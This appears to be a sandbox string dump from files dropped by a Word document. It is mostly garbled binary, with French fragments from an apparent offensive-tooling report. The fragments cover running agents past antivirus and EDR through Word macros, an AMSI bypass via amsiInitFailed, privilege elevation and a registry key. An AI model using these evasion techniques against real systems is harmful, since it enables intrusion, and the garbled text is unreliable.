g?y:1(Z<K?c-9>9@S$GzNYw>R= D|}{K\|p!#>YYX@M(3N.\%XtYecVj_Xs>rL+_fkvc%sqn7|a_3u&]*#B`rwWu-^!?btr&Tbzi95U:lI3Xw6N^rO?qWAx'{47Xuox-x,^;@/Oo[$\KW{^={hYkMcA0cgdAI?X=u=%O6C=rx6F",X"ejeVKjHc'D@9NG7;_21iL|/z=4Ew"

Ansi based on Dropped File (~WRD0001.tmp)

g@^IfT3cg\2UOJ!rYP3QIzlzm #5Q/..ns

Ansi based on Dropped File (~WRD0001.tmp)

g[4I}QU`>';Bn4NQ$zLj~MG{&~_M?^/,'i|#k,=j,|vcS/n}+[oot3a

Ansi based on Dropped File (~WRD0001.tmp)

g[ppppppp8mv[-^,{w|:?.Gw4up^p`QD=n>[w</nz-<+>)7.{26

Ansi based on Dropped File (~WRD0001.tmp)

g]_+!"""v3LH[-3+P,36mqGc-jg hw8ztA=&5>>go(rKrX")(nZ%D@,sC;wx8w8)x:\R;hZvVUy#%C^h

Ansi based on Dropped File (~WRD0001.tmp)

g]J2^X9pl86'^>W<T)gO!Sz7cO5oO Xfi!=5v|4yfn#|Lh7fOH=Q_/?TO}4',UIueZ|C5e: <o;fZSzd4$?UZGT{&Uahhy<O_qxM'O^ u>S]@&MqvH*e >ROA=R}87NE1701DC*cCN7HS}-uuR'2n1<1Ax%0QH_Q]C}I$

Ansi based on Dropped File (~WRD0001.tmp)

G^l#B'T/&b6W--j5CQ

Ansi based on Dropped File (~WRD0001.tmp)

G^MQQQ^^NEE*JC1L-LGIKDSg^"c!FFYmN9.%@eD==;T3#o(rUy$w!T1zo)'c+dFU]u=+cu/n7:K$-$dZtK/XEJV.YYtLZ11<n2BoSTmc4?^QE3v=yy67{a,MauD<&yWSP/}4q]}X5kAt<@'-

Ansi based on Dropped File (~WRD0001.tmp)

g_-<SxFLOxNt\fG5OzllIVRfM>G]<xpBd?;]eWHz

Ansi based on Dropped File (~WRD0001.tmp)

G_=]/yu'fR5$4oTg8W':X0NcG&%<d#

Ansi based on Dropped File (~WRD0001.tmp)

g`J"@Dq7FFFFFFFFy/A0Y]'_8Zb\F;1/{q(hc(x\=#^rtNM0>9A15?9VNAmZT]+v|{n.^ddP>lrNN;>bQ-~Pj**PR(m W31;od)$P%4h?'^:qx7LCtMO2f~a0B<}5z4aF

Ansi based on Dropped File (~WRD0001.tmp)

gao`8,oqWr(?yGg%F|u1oaZ{[q/u^z ~fN-tY%Wk.Mx3!DMr$+medau!9fA`R`Azg;;Dq!Gq)[`*B#VCaJwkzat=UtTEmV7x*GE~4Kz-O|fQcBbbfL"tPI

Ansi based on Dropped File (~WRD0001.tmp)

gC_?vP@mPh0.p4C#;S#*>FAUTkh_V-=!m'2ARoFBn,"f?'

Ansi based on Dropped File (~WRD0001.tmp)

gC_vZWryU73HW3<nY

Ansi based on Dropped File (~WRD0001.tmp)

GcFf@/ML&--"B~IiO9>V

Ansi based on Dropped File (~WRD0001.tmp)

gd2 on arrive lancer des agents au nez et la barbe des AV / EDR, via des macro Word qui passent inaperu, l a aura un normeintrt

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

gd2$d,-DM

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

gd\)gdggdBW(gdjP

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

gdClgende des nSuds du graphe est la suivante:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

gdFCgd{ogdb"$a$gdb$$a$gdbgd&6 gdbgd:3gd9"jl

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

gdIgdIgdugd. gdoXgdoXgdggdAFVoici des exemples de scripts excutables (en mode standalone) par le client

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

gd{gd1agd,2privilge lev/un haut niveau d intgrit

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

GER\I29E2>EMZ?u`",2X"zs;\,gW3<;g<=Jb*&_Jw u_LiJa7k %N2o4tZz~.Q

Ansi based on Dropped File (~WRD0001.tmp)

Get-Help <FUNCTION> -full | Select-Object <ATTRIBUTES> | Export-Csv Path <PATH>

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Get-Help <STANDALONE> -full | Select-Object <PARAMETERS> | Export-Csv Path <PATH>

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Get-Process -Name powershell

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Get-WinEvent Microsoft-Windows-Windows Defender/Operational MaxEvents 10| Where-Object Id eq 1116 | Format-List

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

GezRiN5nzKpG]t?fo7XZ^w/gEJ>X_2y^bU>Va~h8bM}Xio/|mvb~4j1&"frGvaV}iOtx<q

Ansi based on Dropped File (~WRD0001.tmp)

Gf56h;s2G;Z2C-q,x\q6Gt;pde(5GE<T<m4_6j[

Ansi based on Dropped File (~WRD0001.tmp)

gf|V&3sekZ|<M1=[ky_e6kl%Y|~bW95,Y;/dO(m;o5'S>WK(|sF6t`#+(#mAQ[R^D{o[={_<t}jMsR8_s}[$?Ut{oyB(?XookkGIx9Yek1oK'k@|(McDHdZ|)5k-Z:H/-zXJc6w(kt-z%w|~kQXt^kek7gdSv5K="O7fm168NXrhGv

Ansi based on Dropped File (~WRD0001.tmp)

gf}3qg`o3mz,<eo'.Q,%+AUNIb|m-9aP(xWiGqWCi^|nPrE|ZT*9/W>kU;q[}C'e}

Ansi based on Dropped File (~WRD0001.tmp)

Gh4dj~6"KOW<`

Ansi based on Dropped File (~WRD0001.tmp)

gh6mkI`m<97wlMA5{{9yXP]ni

Ansi based on Dropped File (~WRD0001.tmp)

ghLCst%wz1dIqY(aJ&?gq5Q.Exf$s)@ph?~Z6-RKu9-Y'REw1M.WUx.I|EH5de}4pk$(b5{HIww~rRgI;pzp_uy}VneNXT}qij1sU+v&ke N^<=1/"L=kW'p+HTv89!Z5`'a~g

Ansi based on Dropped File (~WRD0001.tmp)

GHLrqY\0J6z$1WU.DCNv_PPPPPN`SYqq,v

Ansi based on Dropped File (~WRD0001.tmp)

gi%z{Z|36@n)/w"__{p"1{Lu>?qo+\{p8

Ansi based on Dropped File (~WRD0001.tmp)

GIFGUrc(ubhh^SZRu}FZ~5h]]_a~I'"gsQ8_3^E!DJx%YIrISQRi?$v?o/IW

Ansi based on Dropped File (~WRD0001.tmp)

Gijr*+ -kHb#'T!TRw>WFPUhO#Ys!+`D|

Ansi based on Dropped File (~WRD0001.tmp)

Gino/<<1A$>"f3\TISWY

Ansi based on Dropped File (~WRD0001.tmp)

Gji+MX:x%Dl_b_cBgYj3cT/>Aq/lOVe@h[h\5auaL'VeEoCKV#6YdBT]

Ansi based on Dropped File (~WRD0001.tmp)

GKe|qs<B}".Jll,WL>=1>EWl^Z*L'Mp"-E>[i#L`BWGbn}|'fl6F,|A.J

Ansi based on Dropped File (~WRD0001.tmp)

Globe vert: Domaine

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

gm$&3dRCW97\(hVf*URN]r~]H&7$~ ]?3D2COYo^&6\oZ`yBQj.jM^oP9=3eCENa:

Ansi based on Dropped File (~WRD0001.tmp)

gM9Ax6t%]=wuA`Je'dqL$/3.O3&H"+Wb[$ESmDh\K

Ansi based on Dropped File (~WRD0001.tmp)

GMwboZ=[45[4J3/*N|I$WAzXd@|6|dK653=dEXV|An>

Ansi based on Dropped File (~WRD0001.tmp)

gn_FY\1>p'>N`[}Gf4s^Ratn1pw~Xj$a"pN/6k{2Zh?g~%j+l3[[&O:HDs~!Vk,#3J[~@.yg*KdDK`t_.mv"PRbm;6^e=sZm'^-lXKuNZh.;|dc2L2Y1Tts],Qp~=V,Z?DRz385LB>7GIRA7=MZj}NrJ)(F@)UTshX5Dh

Ansi based on Dropped File (~WRD0001.tmp)

Gnrant les ABDDDEEEEHHrHtHHH0IVJXJ\J^J`JJJJJJJKKKK(KtKKKKLTLVLXLZL\L}x}tmimth[hY*]hY*]hY*]h6hh}hlh/h/h/hlh)/I5hlh)/I$jhBthBtUmHnHsHu$jhlh)/IUmHnHsHuh)/Ih2'!

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Gnration du 2D\hn46$BdfZ`dXhXhJ>*$jhhUmHnHsHu$jhJhJUmHnHsHuh+hJhh*h*h$@h*5h*0J5Uh*5hpUh*hOhrhrhJBhr5fichier Excel

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

gnxbH960MQ?JX`\-`^N=D?.Rr~/G3<ksw*c*;(nKF.Ey<e#wGwbbIc?]kxCLH;:&{1Cz/{k=;N(iaJ/GSE"fZNi@kgMEL]{{1l-KEPL4G4#9L~OslL|i0+3,(hx\B?L\s\Xa4:FDDa!$X,s)###

Ansi based on Dropped File (~WRD0001.tmp)

Go%!Cx?SqL=W\kG=maXX}c@tu$H#>

Ansi based on Dropped File (~WRD0001.tmp)

GOC9BR8A!PKI>48K21wX|0qW9Zche%-F~L]&zml>rWn1qgpTgt]xZq7NGg8WE+oFA5h(~kDU*+43-q#W"O>t67?u_o)odKnRhb

Ansi based on Dropped File (~WRD0001.tmp)

gOj|J@^6G~?/J. w'\&!#yEAm"aTh ~J/OgAilx;hx&fNn2(>Do"zVg-`m'.<BKh<jz&KG46{MoH`,+2TB-5Icyf!P!xsBH@+poB?mqn6b!-MlC,tzLo0vs)yOX,Gj2?*:'}VgC&pK8,?,3d

Ansi based on Dropped File (~WRD0001.tmp)

Gp}Mqh{M*:zR]gPg/(|#luv"(|#DCQFDYP!2_AR?Xf(~Zw++:=QW?a_W7qrrouk69&hI_[x-%!]$MCQjv=b:t_=8iGEa>ZzQF;~g7={W/??^Z<OvGgQ#y'/%}__y13E;!vMFxrp9^3y_m~~|(gt(\~~r oA AY('va%%xhM1$'9RYq*XZ]tkV?>j9:>*go"s_$R]]G({_D~!3>mF5];#Jky@P02~5Z$noscW;ZGjn

Ansi based on Dropped File (~WRD0001.tmp)

GRd%]"|JF^Zh]H_Z#n@g

Ansi based on Dropped File (~WRD0001.tmp)

GRD~VBlWeFN></o[;f/W=<0sLsYSWk:{s&35LfLq~e\?:Api&/Yt7xA #/tV~zBrG6czoy"KmgYz*~!y<mEU=L??\{?@]y<e5N$o`Gem:Q?Wxsg1cXw}|p{vug/c.%b_k}|=8&;?<5y\d2S6!u\&<WQda@'/!EvtrG}yuzE[rzsY<C[`_+zKq

Ansi based on Dropped File (~WRD0001.tmp)

gro(8x6.+AQ":Dy(KpmJP`@^@Q7l~~},J=>W?G\=>~3+_zO:^;3Gg7?E!\

Ansi based on Dropped File (~WRD0001.tmp)

gron <FILE> | grep <MODULE> | gron -u

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

gt1O(_C@D

Ansi based on Dropped File (~WRD0001.tmp)

gT> A[K70^KZ<[oSw"{Yk`1qBtm@KZ\N'EM*Z:&[z]6*Z2j*`5b~iKx9$B.

Ansi based on Dropped File (~WRD0001.tmp)

GtYm_J]lv}yLHn,"]{]x'8eR4n_:;'_n?QOQJ6I:8~4G6ry(]U1l3S)p

Ansi based on Dropped File (~WRD0001.tmp)

gu[3<i~.|h'-p6]y=#6

Ansi based on Dropped File (~WRD0001.tmp)

gu_;oSX[m_q#};|

Ansi based on Dropped File (~WRD0001.tmp)

guTk[DM,OP%mlhS:?Q9>}uol|6rE!6.\zkFD3Ms>K+rE:s7N\53h

Ansi based on Dropped File (~WRD0001.tmp)

gvJH/BSVn5E

Ansi based on Dropped File (~WRD0001.tmp)

gVLvs'/ZPiwgHh||HqnL8r[c=hoo"fugr_#9X>Mhr

Ansi based on Dropped File (~WRD0001.tmp)

gw736eB6ls%lG3Tq+f~Mskq|0:tRS(42,&4.oBF)4jF3[Qc,'beiyAS7"225N)iu}:x08$+kms3w&3Lw3ID/7=Xcys?<!8^5EwOvSE%Y?S

Ansi based on Dropped File (~WRD0001.tmp)

gWO:Wn&gx7N(6?'?!Pu]JNmaCv~HG`vj?IVT$5HG')C=U!u1.^(c6:;#!(8ngN0x

Ansi based on Dropped File (~WRD0001.tmp)

gwYh&R-Z7&Z2U<Sm

Ansi based on Dropped File (~WRD0001.tmp)

gXg:B4iJ,L=Ao{G#

Ansi based on Dropped File (~WRD0001.tmp)

GxnjKI,t2(`ih_ (s!Gt(~i

Ansi based on Dropped File (~WRD0001.tmp)

gXQ.?k4/~ ?ixk[u#{d0>!|e[:n&}g?WeT7(c%8tLI6-{-kvp<^

Ansi based on Dropped File (~WRD0001.tmp)

GxrFPq@D

Ansi based on Dropped File (~WRD0001.tmp)

GX{gWi/2U*To(h%^f)<\==AJthX]V4@3J69n+!L[^3[:r:g9?,mJ^7f

Ansi based on Dropped File (~WRD0001.tmp)

gX}yo*'SSltMu#bQ|`A$Xiy.kdS,w_Fq3VM^A

Ansi based on Dropped File (~WRD0001.tmp)

GZJ)obPg A.`YtCty@kYaa=wvyfB c/> 9nP&tlg5]cRJHtPRJ)7RJ1~PRJ)RJ)tPRJ)7RJ1R.RnLu)rc:K)A]J)RJ)tPRJ)7RJ1R.RnLu)rc:K)A]J)RJ)tPRJ)7RJ1R.RnLu)rc_ORNGRpPoRJ)E:K)O

Ansi based on Dropped File (~WRD0001.tmp)

gZK^G!*;k|]e{-TO<*mghK0Vn>f'Rg}DZh*ScO;8+R\NM70cg2S165~lr=;5=qo9nv62.k~`vm<Dxbv{;Rfr>$*GvW/jo&Rh*u(7L&}1JeRYm"9jyCTMV\U7D"Pef.3MX:9J

Ansi based on Dropped File (~WRD0001.tmp)

gzNMoZ,caEv8y/q&UI /(pd*4

Ansi based on Dropped File (~WRD0001.tmp)

g{+AO} 3RP)=ER5!rn>tN5&\?/g8_x3=]"Z

Ansi based on Dropped File (~WRD0001.tmp)

G|,uN)>BD;E-333N?|%Cm8 QTm9G~v1|e\xNI}~mW2`%bv#I/s}p0nMTqP|['[6k%LwO?$!dTK}WUfx~Nhv=1".mao@4

Ansi based on Dropped File (~WRD0001.tmp)

g~;62OS+Nk6++*|*E-|Z!<b8 }Q_7*>=z"<{^m9'^|q}=q?M%VqNIjz3+?`XlWF1"ONqx#ykOo8`})dOs%;O

Ansi based on Dropped File (~WRD0001.tmp)

G~}*WEGNZ$ff)~%yaQG}R#DO`^M E3LqzV|&2`"shV/Eq`0{$E-1DY"|gLxzI"dC})z\|q5c2jaY=+D 9[1[_NQTESd6NS-H[VRLer<A1!lLQ8ef<tK"?bgHF*T44/C1U^"<(FZ>N5iim31=EQF3*wZP-Lux%XpG1,jfqRoj}8AKB^

Ansi based on Dropped File (~WRD0001.tmp)

h 0Jh1h1h1h15hpUh1hV'OhV'OhV'Oh)97Aprs avoir rcupr notre token d authentification (en requtant /api/admin/login)

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

H"b;JkA+hm=egFaQE{8k.)jO[@Ge=DOv?7h?0gN[\yg&1_<A:h)^W{]cuXy6_vj~=:qCGMPJ

Ansi based on Dropped File (~WRD0001.tmp)

h"j*^EYkX\CDtFv=Atp.~Im+EK&b

Ansi based on Dropped File (~WRD0001.tmp)

H"W*"b'H1B\Qnu?0S%/X

Ansi based on Dropped File (~WRD0001.tmp)

h$m/n$TcB/ct59:&]K't1UBweY/<a|<A_ vm_^QBTcK_tBn$?DaPZ%D97mKA=U0,]b?"7Q)%$HUFjk^zD;'0NnWzmIz3%#z=g-aK_<z-n]<C?lSh;)>9|3@q<iiyj&y~L4zUMZzC\$Qz"]Ct=UMa^b>FOMk0G&^0:$f3#zr=,},rcg?>;+3xt222222?XP7mX0

Ansi based on Dropped File (~WRD0001.tmp)

h&6,dveloppeur: File > Options > Personnaliser le ruban

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

h'dzDZ(9l9nwqHYEU

Ansi based on Dropped File (~WRD0001.tmp)

h'J&; pGcuL|wYL*O"t>]fx'?{`2"aAxgAN3~j1Tr|&.:R4(SOvG4E6S`:,z\]X}@|{N6U8@pnJhG>?aUuhT_pXO>9W{s

Ansi based on Dropped File (~WRD0001.tmp)

h)>ts15z7g8@Y-

Ansi based on Dropped File (~WRD0001.tmp)

h)S 6LuYZm.x.an<0~q-XWj+&

Ansi based on Dropped File (~WRD0001.tmp)

h*0Jh*h*0Jh*h)9hwzhwzhwzhwz5hwzhhqhDxKhPh0hpUhW.*huhHhHhkh. h+vhh^0J

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

h+o"aOHIENDB`PK

Ansi based on Dropped File (~WRD0001.tmp)

h+WCH2Ur],i]R4D@,h CR9aEb@n-bpAg:%%);(>Tt_=Z@"!Q?#e=*~xId&

Ansi based on Dropped File (~WRD0001.tmp)

H-HK3^xn%Sf:2VZ\ZuDxy'^0u}jCftBl0MVD_9bkG&'vn&()]XnmCVY~bI%{v)N(M{/73x0*WN,{aZFCKM7_9'z[-lv#T?Rjd

Ansi based on Dropped File (~WRD0001.tmp)

h-U{>"imN]#P

Ansi based on Dropped File (~WRD0001.tmp)

h0Jhh0JhJhXhX>*2Notons la ncessit de crer, pour les modules python et les standalones PowerShell de crer une feuille exclusive leurs options, tant donn que chaque module/standalone dispose de plusieurs options avec leurs attributs.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

h0Jhh{0J6B*]phh.xh{0JhpU6B*]phh1ah1a6B*]ph

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

h0JjUhMKhMKhhMKh(5h(hh)9h0J

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

h1a0Jh,Lh:-hr/h}ih5-h. hpUh-i/la victime

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

H39zV#hDfjcCy?!qyM)E3%E`GHc4w#t=!Jc>dpa Y8jn/*h*<z(

Ansi based on Dropped File (~WRD0001.tmp)

h5*2.TlBVMYMuct/Z|@[O|^QrQNcePni:IjmR9=::;'gq#tJ2**f

Ansi based on Dropped File (~WRD0001.tmp)

H7/=z*S2

Ansi based on Dropped File (~WRD0001.tmp)

h7>]Jfz6xg2~7AfM?z8I#5Qd6

Ansi based on Dropped File (~WRD0001.tmp)

h7YuLl|@iN|vf_CWm!KG%CHyw]lFut1q:lUfytX@+HKoFJb.ya\T\}79|m&<q2bW&x:WWu%`OXK 5t609Y/AN:?`>~^\-p#Gg@b3"d/6PM':0>x`7KnOO>'ml^g[p Bp-8`m+lX>1R-8x}mlg[ppppppphw_.^7<O({9}M<e[A7fgrjPZ %LcWyc|+~YwhHtAR%!ld}>>4Y?__{<

Ansi based on Dropped File (~WRD0001.tmp)

h:3h:3h:3h9h9jh9h96Uh9h96h96$jh9h9UmHnHsHuh9h@@h{ohi0J6Uho6jhoho6Uh6uhoho6ho6$jhohoUmHnHsHu

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

H:p^7yDmS*V&{&}c6$d

Ansi based on Dropped File (~WRD0001.tmp)

h;1#_7o;/_>x9s%?'c!m}p

Ansi based on Dropped File (~WRD0001.tmp)

H>RkQ.XkT/6&|@P4OJMVSQzPtr5!G)wjvv-9>z#I/74++af&8}Eu$}y_RLW:zLFH97^{}>so!}arH r5hxxG!"!79I@?+uH

Ansi based on Dropped File (~WRD0001.tmp)

h?#WqXf+Z1fix6sx;@,Af}l0CYfh75Wh

Ansi based on Dropped File (~WRD0001.tmp)

h?~??;re#lhe>1}lSqXw/?J_UaS"r^]|4{'C}7%B=u=s.obNd8(pU|EtXUN;`wxj<Qgp1XRz{UQF,xKiQ\w;ncd`d8Jgcf7-_iS4[<~Z86.em]1v?gT-yff\CKo;"?\{>=1?oBt:.f2 e\2Xq~|{-upC39cS:#+T>&C`}9F>KNb;'zlSy{Z*5oGTF

Ansi based on Dropped File (~WRD0001.tmp)

h@Nh,hqNhqNh{ h{ h{ hMrhMrhMrh,h,h,hmhjhj.get_computer

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

H[6tCt|@vCg5uC(KX_zT}9CgOmO7~d.a;k!ncetye~&g}cw]2w3[&\8Ct=[+2oo[<$,Kv6C?'-HPMa)P5sU{uU,_a?Z:^?;4n@Gu'*kaxB<lKnckesW:LW|%Qm]@f@`;+.-`Mm/!;_Hd}q>@)!:a`3/?S+v}E[?q,'tWi'[O{dCy]Ak-x~"_:8]G}

Ansi based on Dropped File (~WRD0001.tmp)

h\>~hu/6hu/hu/6hu/h!.hUh\>~>*h|rh\>~>*h\>~h\>~>*$jh\>~h\>~UmHnHsHuh|rh

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

h^0Jh)s[h^6>*h)s[h^>*h3Th^hSh^hvRh^6h^5h^6hpUhvRh^h^6>*h^>*jh^UmHnHsHu!jh^>*UmHnHsHuh:|h^>*h^h:|h^6. crit dans le registre utilisateur.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

h^i8#c3R?-WjGidN4<G?.8e_!X-NwvfD3KZ|;'`h h<AxfdKC>7:YzJBtHga}boO,e#{q0f|-

Ansi based on Dropped File (~WRD0001.tmp)

h_Gc5h_Gch!vh_Gch. B*phh,2h7hyhO6hO5hOhO5hYhOhUh/#h. h5|hhZMh4`hpUhB1 agents

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

H_x^<iR{>

Ansi based on Dropped File (~WRD0001.tmp)

h`dS`3Vry4yxe&oNku?H5/@ni ]+FNC+aCtiC'7v%{sjw5*

Ansi based on Dropped File (~WRD0001.tmp)

h`h@{"2,$$IENDB`PK

Ansi based on Dropped File (~WRD0001.tmp)

h`h@{C04=

Ansi based on Dropped File (~WRD0001.tmp)

h`h@{CX{Y&Qo]Ub*I[/}nc]_.g[MU3!=mg}l7_/[{

Ansi based on Dropped File (~WRD0001.tmp)

h`h^{hVCgsQH+@<.bB7zQjFAv@=e8oBLM9M!Q?<&iPqiL:'IvE5(oN|qPG=^b(|f5g)2q&4tzR3GjE&/g *JE#)R{De*

Ansi based on Dropped File (~WRD0001.tmp)

h`i1&qml)1)QQO8AW@g1gLyp8R6,l,r:jC2Zhl}?*b]6_cnW)Fv?k7~.5E{<'7+R+_zlkk[RZ,O<_APqP,{l"~*AMSn*lZ~;

Ansi based on Dropped File (~WRD0001.tmp)

hA0Jhv]hV0J6

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

ha8rvoz^:33(UoF5/e^F`xbzU/7Xlj1VB_GV"}E3ZGZ~.9)4F^\Ft_t&L0aB^BCAY{}<4s$;aFOU?1\u^5=qg%9]UF)3zeo,LD~;jJQPwg+Yf(u)a;9R<H -)8LP{u79'w0U/YD|n+[7I"S<uuQ!ZB

Ansi based on Dropped File (~WRD0001.tmp)

HA<k>.e,ngO^_H:w

Ansi based on Dropped File (~WRD0001.tmp)

hAGdo%;k{vD2t"]%^4<5T)+)/>&3B$;"v"ulo(',Z$*2(zttkKd|^"V=$iEr8WHxIs I+JAp

Ansi based on Dropped File (~WRD0001.tmp)

HAozG^]s)jzDmh:.z[E-

Ansi based on Dropped File (~WRD0001.tmp)

hB4Z;-NmwvY9>GPmM 4NIY:>n]B$u@r#EAb)j&/"dDN,2

Ansi based on Dropped File (~WRD0001.tmp)

HbiBLq?m)CRFss1)4j8R'[X/Z7>TAcWI?Hq m?euOqnGhI=H/

Ansi based on Dropped File (~WRD0001.tmp)

hCu5{${*1=-i{m%i9aZ.@_yvE w|

Ansi based on Dropped File (~WRD0001.tmp)

hcww=vP1YKiTh%Sbk{[AvOzgmHUO^nxZc}W|s4JnJu75U[&h~_u,{Fp1.

Ansi based on Dropped File (~WRD0001.tmp)

Hd>DDkCK"z0$ TT

Ansi based on Dropped File (~WRD0001.tmp)

help agentcmds

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

hEv:TkvYZUP mjG`ONQ52:x7P>v fYI%1%Wy,u/g3

Ansi based on Dropped File (~WRD0001.tmp)

Hf$avrgf0~x

Ansi based on Dropped File (~WRD0001.tmp)

Hf},j_A3n_piR)"J13+P\l"6g^"RG[Gpe(

Ansi based on Dropped File (~WRD0001.tmp)

Hg:T/yw%}L~b>e}Cznvm]^^W5ld[w/T=~DiO]MeeEa&u}2^v^y+{+|Di^)^6[{t/E~G*vS3A_T}5FyUOg3y71d7/a^}<oz]!|qDhcD1IA3Dht$

Ansi based on Dropped File (~WRD0001.tmp)

hg<L=F!>[dG-{_}<HaCC

Ansi based on Dropped File (~WRD0001.tmp)

hh0Jhh6hhhhhhh_hHhHhHh~hbhb6h

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

hhAFh[h[h[0L~MMMRR*SrSSTTTTU2UUVrVVV(WWWgd'gdJ%gdBgdoX

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

hHN-.Rop nttcLxgaG](+wh/L B

Ansi based on Dropped File (~WRD0001.tmp)

hhydhydhc_{{{DFJ46:$$a$gd"$a$gd$$a$gdgd\"$a$gd\$$a$gd\gdf"$a$gdf$$a$gdfgdmgdogdo"$a$gdo$$a$gdoamsiInitFailed est dfinie, AMSI retourne directement un AMSI_RESULT_NOT_DETECTED, sans scanner le code.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

hi)M0JjU

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

hi)M0JUhi)Mh+R~hi)M0J5https://python-poetry.org/

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

hi)M0JUhi)MUhi)Mh$f?h{ohFChffhCR0JjUhCRh1hZ:hbhbjhbhb6Uh6uhbhb6h956$jhbhbUmHnHsHuhGthbh95hVh{oh5h-

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

hi0JUhihohohohc SEQ Figure \* ARABIC 23 :

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

hIk",Y!awhJt :S^Zqhcl`{!v:GA3BwKRi'_#ag>c};o]ez m\;;)Nq%qRnE.^f`UPK7Z-6rKM[{w$j6%&OQVr->|U]f5uT>Lud)9K(:rOU]Gh$];Q*T-7

Ansi based on Dropped File (~WRD0001.tmp)

HI||5?s|;M83K&?{'%,p=XF

Ansi based on Dropped File (~WRD0001.tmp)

hi~~>GBa.ZLEhDgDmOtDq>;Q$<=rjY+p+npRSotBsH|8sW^k2'B]qjyT BQlG

Ansi based on Dropped File (~WRD0001.tmp)

HJ"wAs&"$x]u5*[mSjr

Ansi based on Dropped File (~WRD0001.tmp)

hJ-B&}y;>PW~z37>Guz2Al?NOK!=;Tmut}RJg"u=f'K=y5D2~?#'Q7OGdp`xY=D-@y

Ansi based on Dropped File (~WRD0001.tmp)

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Debug

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

hl$G0Jhl$Gh^0JhpU>*h^>*h/Ih^>*hpUhjh^UmHnHsHuh^9privilge est un succs si l on voit s afficher les sorties suivantes:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

hL:sEd{HTqZ&zMivo+R

Ansi based on Dropped File (~WRD0001.tmp)

HLkf2}-s$#&(hM:0^3B&k9o d?JTfMP%fU@iL!eg)Y^/lY2-@#.#z }A#>CWBth{.q.h':}TFP>PDq*nYI`I)4CQ+D\_~_m$%Syit\x

Ansi based on Dropped File (~WRD0001.tmp)

HLRXZ,.2026vx,.|w|w|p|

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

hmgeG,?tgo2s={3P&A`:)7a4

Ansi based on Dropped File (~WRD0001.tmp)

hMu[0J6h0h0>*'rapports:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

hN+(O6F'V/

Ansi based on Dropped File (~WRD0001.tmp)

HO,jgN%s[3#x7]Om6ql$5}K;WD1FCB'4PMfnd)y^tKhMWC;(4fttJ8ax*_Z/b&xU"sDR2]gjrOVKqxjQB&'F:^#N89Ku

Ansi based on Dropped File (~WRD0001.tmp)

Hoe+W<:.

Ansi based on Dropped File (~WRD0001.tmp)

hOk6!Y=^%;

Ansi based on Dropped File (~WRD0001.tmp)

Hovz`pm#{Q%'mmMDh/NT $c1,Z#!nFV*w76R?*a6]@j53V.G&&Lu

Ansi based on Dropped File (~WRD0001.tmp)

